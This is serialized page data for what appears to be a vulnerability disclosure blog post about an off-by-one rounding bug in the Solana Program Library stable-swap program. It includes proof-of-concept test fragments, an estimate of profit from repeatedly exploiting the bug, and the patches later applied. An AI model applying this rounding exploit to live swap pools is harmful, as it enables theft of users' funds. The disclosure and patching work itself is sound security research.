instructions",{"type":19,"tag":168,"props":1198,"children":1199},{"style":399},[1200],{"type":24,"value":402},{"type":19,"tag":168,"props":1202,"children":1203},{"style":175},[1204],{"type":24,"value":1147},{"type":19,"tag":168,"props":1206,"children":1207},{"style":212},[1208],{"type":24,"value":1209},"[];\n",{"type":19,"tag":168,"props":1211,"children":1213},{"class":170,"line":1212},22,[1214],{"type":19,"tag":168,"props":1215,"children":1216},{"emptyLinePlaceholder":14},[1217],{"type":24,"value":1093},{"type":19,"tag":168,"props":1219,"children":1221},{"class":170,"line":1220},23,[1222,1227,1231,1236,1240,1245],{"type":19,"tag":168,"props":1223,"children":1224},{"style":393},[1225],{"type":24,"value":1226}," instructions",{"type":19,"tag":168,"props":1228,"children":1229},{"style":399},[1230],{"type":24,"value":948},{"type":19,"tag":168,"props":1232,"children":1233},{"style":175},[1234],{"type":24,"value":1235},"push",{"type":19,"tag":168,"props":1237,"children":1238},{"style":212},[1239],{"type":24,"value":500},{"type":19,"tag":168,"props":1241,"children":1242},{"style":393},[1243],{"type":24,"value":1244},"swap_instruction",{"type":19,"tag":168,"props":1246,"children":1247},{"style":212},[1248],{"type":24,"value":1249},");\n",{"type":19,"tag":168,"props":1251,"children":1253},{"class":170,"line":1252},24,[1254],{"type":19,"tag":168,"props":1255,"children":1256},{"emptyLinePlaceholder":14},[1257],{"type":24,"value":1093},{"type":19,"tag":168,"props":1259,"children":1261},{"class":170,"line":1260},25,[1262,1267,1271,1276,1280,1284,1289,1293,1297,1302,1306,1310,1314],{"type":19,"tag":168,"props":1263,"children":1264},{"style":393},[1265],{"type":24,"value":1266}," env",{"type":19,"tag":168,"props":1268,"children":1269},{"style":399},[1270],{"type":24,"value":948},{"type":19,"tag":168,"props":1272,"children":1273},{"style":175},[1274],{"type":24,"value":1275},"execute_as_transaction",{"type":19,"tag":168,"props":1277,"children":1278},{"style":212},[1279],{"type":24,"value":500},{"type":19,"tag":168,"props":1281,"children":1282},{"style":399},[1283],{"type":24,"value":505},{"type":19,"tag":168,"props":1285,"children":1286},{"style":393},[1287],{"type":24,"value":1288},"instructions",{"type":19,"tag":168,"props":1290,"children":1291},{"style":212},[1292],{"type":24,"value":471},{"type":19,"tag":168,"props":1294,"children":1295},{"style":399},[1296],{"type":24,"value":505},{"type":19,"tag":168,"props":1298,"children":1299},{"style":175},[1300],{"type":24,"value":1301},"vec!",{"type":19,"tag":168,"props":1303,"children":1304},{"style":212},[1305],{"type":24,"value":1152},{"type":19,"tag":168,"props":1307,"children":1308},{"style":399},[1309],{"type":24,"value":505},{"type":19,"tag":168,"props":1311,"children":1312},{"style":393},[1313],{"type":24,"value":943},{"type":19,"tag":168,"props":1315,"children":1316},{"style":212},[1317],{"type":24,"value":1171},{"type":19,"tag":168,"props":1319,"children":1321},{"class":170,"line":1320},26,[1322],{"type":19,"tag":168,"props":1323,"children":1324},{"style":212},[1325],{"type":24,"value":1326},"}\n",{"type":19,"tag":20,"props":1328,"children":1329},{},[1330],{"type":24,"value":1331},"It works!",{"type":19,"tag":315,"props":1333,"children":1334},{},[1335],{"type":19,"tag":20,"props":1336,"children":1337},{},[1338],{"type":24,"value":1339},"holy shit\nyea, this is big",{"type":19,"tag":20,"props":1341,"children":1342},{},[1343],{"type":19,"tag":1344,"props":1345,"children":1347},"img",{"alt":7,"src":1346},"/posts/spl-swap/poc.png",[],{"type":19,"tag":36,"props":1349,"children":1351},{"id":1350},"exploitability",[1352],{"type":24,"value":1353},"Exploitability",{"type":19,"tag":20,"props":1355,"children":1356},{},[1357],{"type":24,"value":1358},"Off-by-one bugs are much easier to exploit on Solana compared to other chains, enabled by the relatively low fees on Solana.",{"type":19,"tag":20,"props":1360,"children":1361},{},[1362],{"type":24,"value":1363},"A single swap on Ethereum can cost dozens of dollars, but on Solana packing hundreds of swap instructions into a single transaction costs the same flat rate of 5000 lamports (at least prior to the 1.9 per transaction size compute limit update).",{"type":19,"tag":20,"props":1365,"children":1366},{},[1367],{"type":24,"value":1368},"This transaction cost discrepancy can trip up developers who transitioned from Ethereum to Solana. For example, the developers who wrote tests for the Solana Program Library implementation of stable swap assumed the impact of an off by one error would be negligible.",{"type":19,"tag":20,"props":1370,"children":1371},{},[1372],{"type":19,"tag":1344,"props":1373,"children":1375},{"alt":7,"src":1374},"/posts/spl-swap/pr.png",[],{"type":19,"tag":20,"props":1377,"children":1378},{},[1379,1381,1386],{"type":24,"value":1380},"As we mentioned previously, due to the rounding error, each swap allowed an attacker to steal a single token. It's important to keep in mind that this represents a single token ",{"type":19,"tag":293,"props":1382,"children":1383},{},[1384],{"type":24,"value":1385},"per instruction",{"type":24,"value":1387},". Transactions on Solana can also contain multiple instructions.",{"type":19,"tag":20,"props":1389,"children":1390},{},[1391],{"type":24,"value":1392},"With an onchain program, we are able to fit over 50 swap instructions per transaction. Each transaction can be run around 3 times before exceeding the per-instruction compute limit cap. Thus, we can pack around 150 invocations per transaction.",{"type":19,"tag":20,"props":1394,"children":1395},{},[1396,1398,1403],{"type":24,"value":1397},"Some quick napkin math confirms that this ",{"type":19,"tag":293,"props":1399,"children":1400},{},[1401],{"type":24,"value":1402},"is",{"type":24,"value":1404}," indeed profitable. At a price of $41440 per Bitcoin, we are able to steal around 6 cents per transaction.",{"type":19,"tag":20,"props":1406,"children":1407},{},[1408],{"type":19,"tag":27,"props":1409,"children":1413},{"className":1410},[1411,1412],"language-math","math-inline",[1414],{"type":19,"tag":168,"props":1415,"children":1418},{"className":1416},[1417],"katex",[1419],{"type":19,"tag":168,"props":1420,"children":1424},{"className":1421,"ariaHidden":1423},[1422],"katex-html","true",[1425,1534,1590,1630],{"type":19,"tag":168,"props":1426,"children":1429},{"className":1427},[1428],"base",[1430,1436,1443,1507,1517,1523,1530],{"type":19,"tag":168,"props":1431,"children":1435},{"className":1432,"style":1434},[1433],"strut","height:0.8141em;",[],{"type":19,"tag":168,"props":1437,"children":1440},{"className":1438},[1439],"mord",[1441],{"type":24,"value":1442},"1",{"type":19,"tag":168,"props":1444,"children":1446},{"className":1445},[1439],[1447,1453],{"type":19,"tag":168,"props":1448,"children":1450},{"className":1449},[1439],[1451],{"type":24,"value":1452},"0",{"type":19,"tag":168,"props":1454,"children":1457},{"className":1455},[1456],"msupsub",[1458],{"type":19,"tag":168,"props":1459,"children":1462},{"className":1460},[1461],"vlist-t",[1463],{"type":19,"tag":168,"props":1464,"children":1467},{"className":1465},[1466],"vlist-r",[1468],{"type":19,"tag":168,"props":1469,"children":1472},{"className":1470,"style":1434},[1471],"vlist",[1473],{"type":19,"tag":168,"props":1474,"children":1476},{"style":1475},"top:-3.063em;margin-right:0.05em;",[1477,1483],{"type":19,"tag":168,"props":1478,"children":1482},{"className":1479,"style":1481},[1480],"pstrut","height:2.7em;",[],{"type":19,"tag":168,"props":1484,"children":1490},{"className":1485},[1486,1487,1488,1489],"sizing","reset-size6","size3","mtight",[1491],{"type":19,"tag":168,"props":1492,"children":1494},{"className":1493},[1439,1489],[1495,1501],{"type":19,"tag":168,"props":1496,"children":1498},{"className":1497},[1439,1489],[1499],{"type":24,"value":1500},"−",{"type":19,"tag":168,"props":1502,"children":1504},{"className":1503},[1439,1489],[1505],{"type":24,"value":1506},"8",{"type":19,"tag":168,"props":1508,"children":1510},{"className":1509},[1439,24],[1511],{"type":19,"tag":168,"props":1512,"children":1514},{"className":1513},[1439],[1515],{"type":24,"value":1516}," BTC",{"type":19,"tag":168,"props":1518,"children":1522},{"className":1519,"style":1521},[1520],"mspace","margin-right:0.2222em;",[],{"type":19,"tag":168,"props":1524,"children":1527},{"className":1525},[1526],"mbin",[1528],{"type":24,"value":1529},"∗",{"type":19,"tag":168,"props":1531,"children":1533},{"className":1532,"style":1521},[1520],[],{"type":19,"tag":168,"props":1535,"children":1537},{"className":1536},[1428],[1538,1543,1549,1556,1561,1567,1577,1581,1586],{"type":19,"tag":168,"props":1539,"children":1542},{"className":1540,"style":1541},[1433],"height:1em;vertical-align:-0.25em;",[],{"type":19,"tag":168,"props":1544,"children":1546},{"className":1545},[1439],[1547],{"type":24,"value":1548},"$41",{"type":19,"tag":168,"props":1550,"children":1553},{"className":1551},[1552],"mpunct",[1554],{"type":24,"value":1555},",",{"type":19,"tag":168,"props":1557,"children":1560},{"className":1558,"style":1559},[1520],"margin-right:0.1667em;",[],{"type":19,"tag":168,"props":1562,"children":1564},{"className":1563},[1439],[1565],{"type":24,"value":1566},"400/",{"type":19,"tag":168,"props":1568,"children":1570},{"className":1569},[1439,24],[1571],{"type":19,"tag":168,"props":1572,"children":1574},{"className":1573},[1439],[1575],{"type":24,"value":1576},"BTC",{"type":19,"tag":168,"props":1578,"children":1580},{"className":1579,"style":1521},[1520],[],{"type":19,"tag":168,"props":1582,"children":1584},{"className":1583},[1526],[1585],{"type":24,"value":1529},{"type":19,"tag":168,"props":1587,"children":1589},{"className":1588,"style":1521},[1520],[],{"type":19,"tag":168,"props":1591,"children":1593},{"className":1592},[1428],[1594,1599,1605,1615,1620,1626],{"type":19,"tag":168,"props":1595,"children":1598},{"className":1596,"style":1597},[1433],"height:0.8389em;vertical-align:-0.1944em;",[],{"type":19,"tag":168,"props":1600,"children":1602},{"className":1601},[1439],[1603],{"type":24,"value":1604},"150",{"type":19,"tag":168,"props":1606,"children":1608},{"className":1607},[1439,24],[1609],{"type":19,"tag":168,"props":1610,"children":1612},{"className":1611},[1439],[1613],{"type":24,"value":1614}," swaps",{"type":19,"tag":168,"props":1616,"children":1619},{"className":1617,"style":1618},[1520],"margin-right:0.2778em;",[],{"type":19,"tag":168,"props":1621,"children":1624},{"className":1622},[1623],"mrel",[1625],{"type":24,"value":486},{"type":19,"tag":168,"props":1627,"children":1629},{"className":1628,"style":1618},[1520],[],{"type":19,"tag":168,"props":1631,"children":1633},{"className":1632},[1428],[1634,1639],{"type":19,"tag":168,"props":1635,"children":1638},{"className":1636,"style":1637},[1433],"height:0.8056em;vertical-align:-0.0556em;",[],{"type":19,"tag":168,"props":1640,"children":1642},{"className":1641},[1439],[1643],{"type":24,"value":1644},"$0.0621",{"type":19,"tag":20,"props":1646,"children":1647},{},[1648],{"type":24,"value":1649},"At 200 transactions per second, we can extract just over a million dollars per day.",{"type":19,"tag":20,"props":1651,"children":1652},{},[1653],{"type":24,"value":1654},"We're well on our way to becoming a millionaire!",{"type":19,"tag":36,"props":1656,"children":1658},{"id":1657},"patch",[1659],{"type":24,"value":1660},"Patch",{"type":19,"tag":20,"props":1662,"children":1663},{},[1664],{"type":24,"value":1665},"Now that we had a proof-of-concept going, it was time to contact the relevant teams.",{"type":19,"tag":20,"props":1667,"children":1668},{},[1669],{"type":24,"value":1670},"By grepping through Solana logs for the swap instruction log, we were able to identify many potential spl-token-swap forks.",{"type":19,"tag":158,"props":1672,"children":1674},{"code":1673,"language":162,"meta":7,"className":160,"style":7},"solana logs -um | grep 'Instruction: Swap' -B1\n",[1675],{"type":19,"tag":27,"props":1676,"children":1677},{"__ignoreMap":7},[1678],{"type":19,"tag":168,"props":1679,"children":1680},{"class":170,"line":171},[1681,1685,1690,1695,1700,1705,1710],{"type":19,"tag":168,"props":1682,"children":1683},{"style":175},[1684],{"type":24,"value":259},{"type":19,"tag":168,"props":1686,"children":1687},{"style":181},[1688],{"type":24,"value":1689}," logs",{"type":19,"tag":168,"props":1691,"children":1692},{"style":181},[1693],{"type":24,"value":1694}," -um",{"type":19,"tag":168,"props":1696,"children":1697},{"style":399},[1698],{"type":24,"value":1699}," |",{"type":19,"tag":168,"props":1701,"children":1702},{"style":175},[1703],{"type":24,"value":1704}," grep",{"type":19,"tag":168,"props":1706,"children":1707},{"style":181},[1708],{"type":24,"value":1709}," 'Instruction: Swap'",{"type":19,"tag":168,"props":1711,"children":1712},{"style":181},[1713],{"type":24,"value":1714}," -B1\n",{"type":19,"tag":20,"props":1716,"children":1717},{},[1718],{"type":24,"value":1719},"With some Google dorking, we were able to identify many of these programs.",{"type":19,"tag":158,"props":1721,"children":1723},{"code":1722},"1SoLTvbiicqXZ3MJmnTL2WYXKLYpuxwHpa4yYrVQaMZ - \"1 SOL\"\n9W959DqEETiGZocYWCQPaJ6sBmUzgfxXfqGeTEdp3aQP - Orca Swap Program v2\nSCHAtsf8mbjyjiv4LkhLKutTf6JnZAbdJKFkXQNMFHZ - \"Sencha Swap\"\nSSwapUtytfBdBn1b9NUGG6foMVPtcWgpRU32HToDUZr - \"Saros Swap\"\nSSwpkEEcbUqx4vtoEByFjSkhKdCT862DNVb52nZg1UZ - Saber Stable Swap Program\nSSwpMgqNDsyV7mAgN9ady4bDVu5ySjmmXejXvy2vLt1 - Step Finance Swap Program\nSwaPpA9LAaLfeLi3a68M4DjnLqgtticKg6CnyNwgAC8 - Swap Program\n",[1724],{"type":19,"tag":27,"props":1725,"children":1726},{"__ignoreMap":7},[1727],{"type":24,"value":1722},{"type":19,"tag":20,"props":1729,"children":1730},{},[1731],{"type":24,"value":1732},"Now it was time to contact these teams.",{"type":19,"tag":20,"props":1734,"children":1735},{},[1736],{"type":24,"value":1737},"Of these protocols, Saber was the only one which had BTC stable swaps, which would make exploitation immediately profitable. Luckily, they were also the most responsive, triaging and patching the vulnerability in just over one day.",{"type":19,"tag":20,"props":1739,"children":1740},{},[1741],{"type":24,"value":1742},"After some discussion, they decided to port a patch from Curve.fi, subtracting one from the output amount.",{"type":19,"tag":158,"props":1744,"children":1746},{"code":1745,"language":362,"meta":7,"className":363,"style":7},"- let dy = swap_destination_amount.checked_sub(y)?;\n+ // https://github.com/curvefi/curve-contract/blob/b0bbf77f8f93c9c5f4e415bce9cd71f0cdee960e/contracts/pool-templates/base/SwapTemplateBase.vy#L466\n+ let dy = swap_destination_amount.checked_sub(y)?.checked_sub(1)?;\n",[1747],{"type":19,"tag":27,"props":1748,"children":1749},{"__ignoreMap":7},[1750,1804,1817],{"type":19,"tag":168,"props":1751,"children":1752},{"class":170,"line":171},[1753,1758,1762,1767,1771,1776,1780,1784,1788,1792,1796,1800],{"type":19,"tag":168,"props":1754,"children":1755},{"style":399},[1756],{"type":24,"value":1757},"-",{"type":19,"tag":168,"props":1759,"children":1760},{"style":382},[1761],{"type":24,"value":456},{"type":19,"tag":168,"props":1763,"children":1764},{"style":393},[1765],{"type":24,"value":1766}," dy",{"type":19,"tag":168,"props":1768,"children":1769},{"style":399},[1770],{"type":24,"value":402},{"type":19,"tag":168,"props":1772,"children":1773},{"style":393},[1774],{"type":24,"value":1775}," swap_destination_amount",{"type":19,"tag":168,"props":1777,"children":1778},{"style":399},[1779],{"type":24,"value":948},{"type":19,"tag":168,"props":1781,"children":1782},{"style":175},[1783],{"type":24,"value":634},{"type":19,"tag":168,"props":1785,"children":1786},{"style":212},[1787],{"type":24,"value":500},{"type":19,"tag":168,"props":1789,"children":1790},{"style":393},[1791],{"type":24,"value":510},{"type":19,"tag":168,"props":1793,"children":1794},{"style":212},[1795],{"type":24,"value":524},{"type":19,"tag":168,"props":1797,"children":1798},{"style":399},[1799],{"type":24,"value":552},{"type":19,"tag":168,"props":1801,"children":1802},{"style":212},[1803],{"type":24,"value":412},{"type":19,"tag":168,"props":1805,"children":1806},{"class":170,"line":198},[1807,1812],{"type":19,"tag":168,"props":1808,"children":1809},{"style":399},[1810],{"type":24,"value":1811},"+",{"type":19,"tag":168,"props":1813,"children":1814},{"style":373},[1815],{"type":24,"value":1816}," // https://github.com/curvefi/curve-contract/blob/b0bbf77f8f93c9c5f4e415bce9cd71f0cdee960e/contracts/pool-templates/base/SwapTemplateBase.vy#L466\n",{"type":19,"tag":168,"props":1818,"children":1819},{"class":170,"line":415},[1820,1824,1828,1832,1836,1840,1844,1848,1852,1856,1860,1864,1868,1872,1876,1880,1884],{"type":19,"tag":168,"props":1821,"children":1822},{"style":399},[1823],{"type":24,"value":1811},{"type":19,"tag":168,"props":1825,"children":1826},{"style":382},[1827],{"type":24,"value":456},{"type":19,"tag":168,"props":1829,"children":1830},{"style":393},[1831],{"type":24,"value":1766},{"type":19,"tag":168,"props":1833,"children":1834},{"style":399},[1835],{"type":24,"value":402},{"type":19,"tag":168,"props":1837,"children":1838},{"style":393},[1839],{"type":24,"value":1775},{"type":19,"tag":168,"props":1841,"children":1842},{"style":399},[1843],{"type":24,"value":948},{"type":19,"tag":168,"props":1845,"children":1846},{"style":175},[1847],{"type":24,"value":634},{"type":19,"tag":168,"props":1849,"children":1850},{"style":212},[1851],{"type":24,"value":500},{"type":19,"tag":168,"props":1853,"children":1854},{"style":393},[1855],{"type":24,"value":510},{"type":19,"tag":168,"props":1857,"children":1858},{"style":212},[1859],{"type":24,"value":524},{"type":19,"tag":168,"props":1861,"children":1862},{"style":399},[1863],{"type":24,"value":529},{"type":19,"tag":168,"props":1865,"children":1866},{"style":175},[1867],{"type":24,"value":634},{"type":19,"tag":168,"props":1869,"children":1870},{"style":212},[1871],{"type":24,"value":500},{"type":19,"tag":168,"props":1873,"children":1874},{"style":192},[1875],{"type":24,"value":1442},{"type":19,"tag":168,"props":1877,"children":1878},{"style":212},[1879],{"type":24,"value":524},{"type":19,"tag":168,"props":1881,"children":1882},{"style":399},[1883],{"type":24,"value":552},{"type":19,"tag":168,"props":1885,"children":1886},{"style":212},[1887],{"type":24,"value":412},{"type":19,"tag":20,"props":1889,"children":1890},{},[1891,1893,1900],{"type":24,"value":1892},"For reference, here is the ",{"type":19,"tag":269,"props":1894,"children":1897},{"href":1895,"rel":1896},"https://github.com/curvefi/curve-contract/blob/b0bbf77f8f93c9c5f4e415bce9cd71f0cdee960e/contracts/pool-templates/base/SwapTemplateBase.vy#L466",[273],[1898],{"type":24,"value":1899},"Curve.fi implementation",{"type":24,"value":948},{"type":19,"tag":158,"props":1902,"children":1906},{"code":1903,"language":1904,"meta":7,"className":1905,"style":7}," dy: uint256 = xp[j] - y - 1 # -1 just in case there were some rounding errors\n dy_fee: uint256 = dy * self.fee / FEE_DENOMINATOR\n","solidity","language-solidity shiki shiki-themes slack-dark",[1907],{"type":19,"tag":27,"props":1908,"children":1909},{"__ignoreMap":7},[1910,1973],{"type":19,"tag":168,"props":1911,"children":1912},{"class":170,"line":171},[1913,1918,1923,1928,1932,1937,1941,1946,1950,1955,1960,1964,1968],{"type":19,"tag":168,"props":1914,"children":1915},{"style":212},[1916],{"type":24,"value":1917}," dy",{"type":19,"tag":168,"props":1919,"children":1920},{"style":399},[1921],{"type":24,"value":1922},":",{"type":19,"tag":168,"props":1924,"children":1925},{"style":825},[1926],{"type":24,"value":1927}," uint256",{"type":19,"tag":168,"props":1929,"children":1930},{"style":399},[1931],{"type":24,"value":402},{"type":19,"tag":168,"props":1933,"children":1934},{"style":212},[1935],{"type":24,"value":1936}," xp[j] ",{"type":19,"tag":168,"props":1938,"children":1939},{"style":399},[1940],{"type":24,"value":1757},{"type":19,"tag":168,"props":1942,"children":1943},{"style":212},[1944],{"type":24,"value":1945}," y ",{"type":19,"tag":168,"props":1947,"children":1948},{"style":399},[1949],{"type":24,"value":1757},{"type":19,"tag":168,"props":1951,"children":1952},{"style":192},[1953],{"type":24,"value":1954}," 1",{"type":19,"tag":168,"props":1956,"children":1957},{"style":212},[1958],{"type":24,"value":1959}," # ",{"type":19,"tag":168,"props":1961,"children":1962},{"style":399},[1963],{"type":24,"value":1757},{"type":19,"tag":168,"props":1965,"children":1966},{"style":192},[1967],{"type":24,"value":1442},{"type":19,"tag":168,"props":1969,"children":1970},{"style":212},[1971],{"type":24,"value":1972}," just in case there were some rounding errors\n",{"type":19,"tag":168,"props":1974,"children":1975},{"class":170,"line":198},[1976,1981,1985,1989,1993,1998,2003,2008,2013],{"type":19,"tag":168,"props":1977,"children":1978},{"style":212},[1979],{"type":24,"value":1980}," dy_fee",{"type":19,"tag":168,"props":1982,"children":1983},{"style":399},[1984],{"type":24,"value":1922},{"type":19,"tag":168,"props":1986,"children":1987},{"style":825},[1988],{"type":24,"value":1927},{"type":19,"tag":168,"props":1990,"children":1991},{"style":399},[1992],{"type":24,"value":402},{"type":19,"tag":168,"props":1994,"children":1995},{"style":212},[1996],{"type":24,"value":1997}," dy ",{"type":19,"tag":168,"props":1999,"children":2000},{"style":399},[2001],{"type":24,"value":2002},"*",{"type":19,"tag":168,"props":2004,"children":2005},{"style":212},[2006],{"type":24,"value":2007}," self.fee ",{"type":19,"tag":168,"props":2009,"children":2010},{"style":399},[2011],{"type":24,"value":2012},"/",{"type":19,"tag":168,"props":2014,"children":2015},{"style":212},[2016],{"type":24,"value":2017}," FEE_DENOMINATOR\n",{"type":19,"tag":20,"props":2019,"children":2020},{},[2021,2023,2030],{"type":24,"value":2022},"We originally thought this was an additional patch that didn't get ported over to Solana. However, it turns out this code was actually included in the ",{"type":19,"tag":269,"props":2024,"children":2027},{"href":2025,"rel":2026},"https://github.com/curvefi/curve-contract/commit/0fd801df7488d89f0e2fc81e760942d7858b01d6",[273],[2028],{"type":24,"value":2029},"original commit",{"type":24,"value":2031},", not as an additional security patch.",{"type":19,"tag":158,"props":2033,"children":2035},{"code":2034},"commit 0fd801df7488d89f0e2fc81e760942d7858b01d6\nAuthor: Ben Hauser \u003Cben@hauser.id>\nDate: Mon Aug 31 02:35:30 2020 +0300\n\n feat: add base pool without lending\n",[2036],{"type":19,"tag":27,"props":2037,"children":2038},{"__ignoreMap":7},[2039],{"type":24,"value":2034},{"type":19,"tag":20,"props":2041,"children":2042},{},[2043,2045,2052],{"type":24,"value":2044},"The commit adding stable swaps to SPL was ",{"type":19,"tag":269,"props":2046,"children":2049},{"href":2047,"rel":2048},"https://github.com/solana-labs/solana-program-library/commit/d62ddd2b94d5d2daaa97460b165d288610a87623",[273],[2050],{"type":24,"value":2051},"made a few months later",{"type":24,"value":2053},", meaning there was some disconnect when porting the code. Either the rounding was thought to be unnecesary, or it was simply forgotten.",{"type":19,"tag":158,"props":2055,"children":2057},{"code":2056},"commit d62ddd2b94d5d2daaa97460b165d288610a87623\nAuthor: Yuriy Savchenko \u003Cyuriy.savchenko@gmail.com>\nDate: Tue Nov 17 15:13:18 2020 +0200\n\n Added stable curve invariant to the token swap smart contract (#838)\n\n * Added stable curve invariant to the token swap smart contract\n\n * Fixed formatting\n\n * Added missing stable curve constraints\n\n * Symbol renames to make math clearer\n\n * Small refactoring according to PR comments, fixes for JS tests\n",[2058],{"type":19,"tag":27,"props":2059,"children":2060},{"__ignoreMap":7},[2061],{"type":24,"value":2056},{"type":19,"tag":20,"props":2063,"children":2064},{},[2065,2067,2074],{"type":24,"value":2066},"After contacting some other swap projects which were unaffected, we decided to notify the Solana team in order to get a patch upstreamed to ",{"type":19,"tag":269,"props":2068,"children":2071},{"href":2069,"rel":2070},"https://github.com/solana-labs/solana-program-library",[273],[2072],{"type":24,"value":2073},"the Solana Program Library",{"type":24,"value":948},{"type":19,"tag":20,"props":2076,"children":2077},{},[2078],{"type":24,"value":2079},"While few projects deploy the swap program from the Solana Program Library, the SPL program is meant as a reference implementation, and many exchanges fork their own code off of it.",{"type":19,"tag":20,"props":2081,"children":2082},{},[2083,2090],{"type":19,"tag":269,"props":2084,"children":2087},{"href":2085,"rel":2086},"https://github.com/joncinque",[273],[2088],{"type":24,"value":2089},"@joncinque",{"type":24,"value":2091}," helped triage this patch. We also asked him for his thoughts on a more complete solution.",{"type":19,"tag":315,"props":2093,"children":2094},{},[2095],{"type":19,"tag":20,"props":2096,"children":2097},{},[2098],{"type":24,"value":2099},"Honestly, the idea of just subtracting 1 from the output will cover almost all situations correctly, so it's a good quick solution. I'll take a look to see if we can solve this for all situations through a correct application of checked_ceil_div, as with the constant product curve.",{"type":19,"tag":20,"props":2101,"children":2102},{},[2103,2105,2112,2114,2120],{"type":24,"value":2104},"After some thought, he helped ",{"type":19,"tag":269,"props":2106,"children":2109},{"href":2107,"rel":2108},"https://github.com/solana-labs/solana-program-library/pull/2942",[273],[2110],{"type":24,"value":2111},"introduce a PR",{"type":24,"value":2113}," which ceilings the computation in ",{"type":19,"tag":27,"props":2115,"children":2117},{"className":2116},[],[2118],{"type":24,"value":2119},"compute_new_destination_amount",{"type":24,"value":2121}," to correctly round within the stable curve math library.",{"type":19,"tag":158,"props":2123,"children":2125},{"code":2124,"language":362,"meta":7,"className":363,"style":7}," // Solve for y by approximating: y**2 + b*y = c\n let mut y_prev: U256;\n let mut y = d_val;\n for _ in 0..ITERATIONS {\n- y_prev = y;\n- y = (checked_u8_power(&y, 2)?.checked_add(c)?)\n- .checked_div(checked_u8_mul(&y, 2)?.checked_add(b)?.checked_sub(d_val)?)?;\n- if y == y_prev {\n+ let (y_new, _) = (checked_u8_power(&y, 2)?.checked_add(c)?)\n+ .checked_ceil_div(checked_u8_mul(&y, 2)?.checked_add(b)?.checked_sub(d_val)?)?;\n+ if y_new == y {\n break;\n+ } else {\n+ y = y_new;\n }\n",[2126],{"type":19,"tag":27,"props":2127,"children":2128},{"__ignoreMap":7},[2129,2137,2167,2194,2222,2246,2322,2426,2453,2548,2651,2678,2690,2709,2732],{"type":19,"tag":168,"props":2130,"children":2131},{"class":170,"line":171},[2132],{"type":19,"tag":168,"props":2133,"children":2134},{"style":373},[2135],{"type":24,"value":2136}," // Solve for y by approximating: y**2 + b*y = c\n",{"type":19,"tag":168,"props":2138,"children":2139},{"class":170,"line":198},[2140,2145,2149,2154,2158,2163],{"type":19,"tag":168,"props":2141,"children":2142},{"style":382},[2143],{"type":24,"value":2144}," let",{"type":19,"tag":168,"props":2146,"children":2147},{"style":382},[2148],{"type":24,"value":390},{"type":19,"tag":168,"props":2150,"children":2151},{"style":393},[2152],{"type":24,"value":2153}," y_prev",{"type":19,"tag":168,"props":2155,"children":2156},{"style":399},[2157],{"type":24,"value":1922},{"type":19,"tag":168,"props":2159,"children":2160},{"style":825},[2161],{"type":24,"value":2162}," U256",{"type":19,"tag":168,"props":2164,"children":2165},{"style":212},[2166],{"type":24,"value":412},{"type":19,"tag":168,"props":2168,"children":2169},{"class":170,"line":415},[2170,2174,2178,2182,2186,2190],{"type":19,"tag":168,"props":2171,"children":2172},{"style":382},[2173],{"type":24,"value":2144},{"type":19,"tag":168,"props":2175,"children":2176},{"style":382},[2177],{"type":24,"value":390},{"type":19,"tag":168,"props":2179,"children":2180},{"style":393},[2181],{"type":24,"value":396},{"type":19,"tag":168,"props":2183,"children":2184},{"style":399},[2185],{"type":24,"value":402},{"type":19,"tag":168,"props":2187,"children":2188},{"style":393},[2189],{"type":24,"value":407},{"type":19,"tag":168,"props":2191,"children":2192},{"style":212},[2193],{"type":24,"value":412},{"type":19,"tag":168,"props":2195,"children":2196},{"class":170,"line":450},[2197,2202,2206,2210,2214,2218],{"type":19,"tag":168,"props":2198,"children":2199},{"style":419},[2200],{"type":24,"value":2201}," for",{"type":19,"tag":168,"props":2203,"children":2204},{"style":393},[2205],{"type":24,"value":427},{"type":19,"tag":168,"props":2207,"children":2208},{"style":382},[2209],{"type":24,"value":432},{"type":19,"tag":168,"props":2211,"children":2212},{"style":192},[2213],{"type":24,"value":437},{"type":19,"tag":168,"props":2215,"children":2216},{"style":399},[2217],{"type":24,"value":442},{"type":19,"tag":168,"props":2219,"children":2220},{"style":212},[2221],{"type":24,"value":447},{"type":19,"tag":168,"props":2223,"children":2224},{"class":170,"line":560},[2225,2229,2234,2238,2242],{"type":19,"tag":168,"props":2226,"children":2227},{"style":399},[2228],{"type":24,"value":1757},{"type":19,"tag":168,"props":2230,"children":2231},{"style":393},[2232],{"type":24,"value":2233}," y_prev",{"type":19,"tag":168,"props":2235,"children":2236},{"style":399},[2237],{"type":24,"value":402},{"type":19,"tag":168,"props":2239,"children":2240},{"style":393},[2241],{"type":24,"value":396},{"type":19,"tag":168,"props":2243,"children":2244},{"style":212},[2245],{"type":24,"value":412},{"type":19,"tag":168,"props":2247,"children":2248},{"class":170,"line":666},[2249,2253,2258,2262,2266,2270,2274,2278,2282,2286,2290,2294,2298,2302,2306,2310,2314,2318],{"type":19,"tag":168,"props":2250,"children":2251},{"style":399},[2252],{"type":24,"value":1757},{"type":19,"tag":168,"props":2254,"children":2255},{"style":393},[2256],{"type":24,"value":2257}," y",{"type":19,"tag":168,"props":2259,"children":2260},{"style":399},[2261],{"type":24,"value":402},{"type":19,"tag":168,"props":2263,"children":2264},{"style":212},[2265],{"type":24,"value":461},{"type":19,"tag":168,"props":2267,"children":2268},{"style":175},[2269],{"type":24,"value":495},{"type":19,"tag":168,"props":2271,"children":2272},{"style":212},[2273],{"type":24,"value":500},{"type":19,"tag":168,"props":2275,"children":2276},{"style":399},[2277],{"type":24,"value":505},{"type":19,"tag":168,"props":2279,"children":2280},{"style":393},[2281],{"type":24,"value":510},{"type":19,"tag":168,"props":2283,"children":2284},{"style":212},[2285],{"type":24,"value":471},{"type":19,"tag":168,"props":2287,"children":2288},{"style":192},[2289],{"type":24,"value":519},{"type":19,"tag":168,"props":2291,"children":2292},{"style":212},[2293],{"type":24,"value":524},{"type":19,"tag":168,"props":2295,"children":2296},{"style":399},[2297],{"type":24,"value":529},{"type":19,"tag":168,"props":2299,"children":2300},{"style":175},[2301],{"type":24,"value":534},{"type":19,"tag":168,"props":2303,"children":2304},{"style":212},[2305],{"type":24,"value":500},{"type":19,"tag":168,"props":2307,"children":2308},{"style":393},[2309],{"type":24,"value":543},{"type":19,"tag":168,"props":2311,"children":2312},{"style":212},[2313],{"type":24,"value":524},{"type":19,"tag":168,"props":2315,"children":2316},{"style":399},[2317],{"type":24,"value":552},{"type":19,"tag":168,"props":2319,"children":2320},{"style":212},[2321],{"type":24,"value":557},{"type":19,"tag":168,"props":2323,"children":2324},{"class":170,"line":694},[2325,2329,2333,2338,2342,2346,2350,2354,2358,2362,2366,2370,2374,2378,2382,2386,2390,2394,2398,2402,2406,2410,2414,2418,2422],{"type":19,"tag":168,"props"